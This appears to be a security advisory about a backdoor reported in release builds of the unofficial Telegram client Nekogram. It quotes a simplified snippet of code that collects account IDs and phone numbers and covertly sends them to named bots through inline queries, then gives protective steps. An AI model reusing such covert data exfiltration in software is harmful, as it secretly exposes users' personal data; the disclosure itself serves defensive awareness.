The Nekogram Backdoor Incident: Your Phone Number Has Already Been Uploaded in Secret

What Happened#

Recently, security researchers reverse-engineered Nekogram’s release APK and found deliberately injected malicious code that, without the user knowing anything, uploads the following to the developer:

• Your Telegram user ID
• Your phone number
• If you’re logged into multiple accounts, the above information for all accounts

Technical Details#

The malicious code is hidden in the Extra.java file and does not appear in the public GitHub source — the developer quietly injected it when packaging the release, so looking at the source alone won’t reveal a thing

The code logic is simple and crude:

1
// 遍历最多8个账号
2
for (int i = 0; i < 8; i++) {
3
    // 抓取用户ID和手机号
4
    mapWithAccounts.put(String.valueOf(user.id), phonenum);
5
}
6
// 通过 inline query 悄悄发给 bot，不留任何聊天记录
7
InlineBotHelper.getInstance(...).query(nekonotificationbot, ...toJSON(hashMap));

The data is sent via Inline Bot Query, and what’s special about that method is: it leaves no trace whatsoever in your chat history

The intended recipients include:

• @nekonotificationbot (the main data-receiving bot)
• tgdb_search_bot (an OSINT people-search bot)
• usinfobot (an OSINT people-search bot)

The presence of the latter two bots means the leaked data is very likely being used for social engineering lookups

Why It’s Especially Dangerous#

1. The Google Play version is affected too, not just APKs downloaded from third-party channels
2. Early versions targeted only +86 numbers; it has now been extended to all users
3. The Nekogram author is reportedly known to have a history of DDoS attacks and online harassment
4. The issue has been made public on GitHub: #336

What You Should Do Now#

1. Uninstall Nekogram immediately and switch back to official Telegram

2. Check your logged-in devices 设置 → 隐私与安全 → 活跃会话 → kick off any unfamiliar devices

3. Enable two-step verification 设置 → 隐私与安全 → 两步验证

4. Limit phone number visibility 设置 → 隐私 → 手机号码 → change it to “我的联系人” or “没有人”

5. Report it to Google Play Report link

The source code and the release binary of an unofficial client can be completely different. The source you see is not the program you’re running

From now on, download Telegram from exactly one place: telegram.org

Reference sources: Sota Project, GitHub Issue #336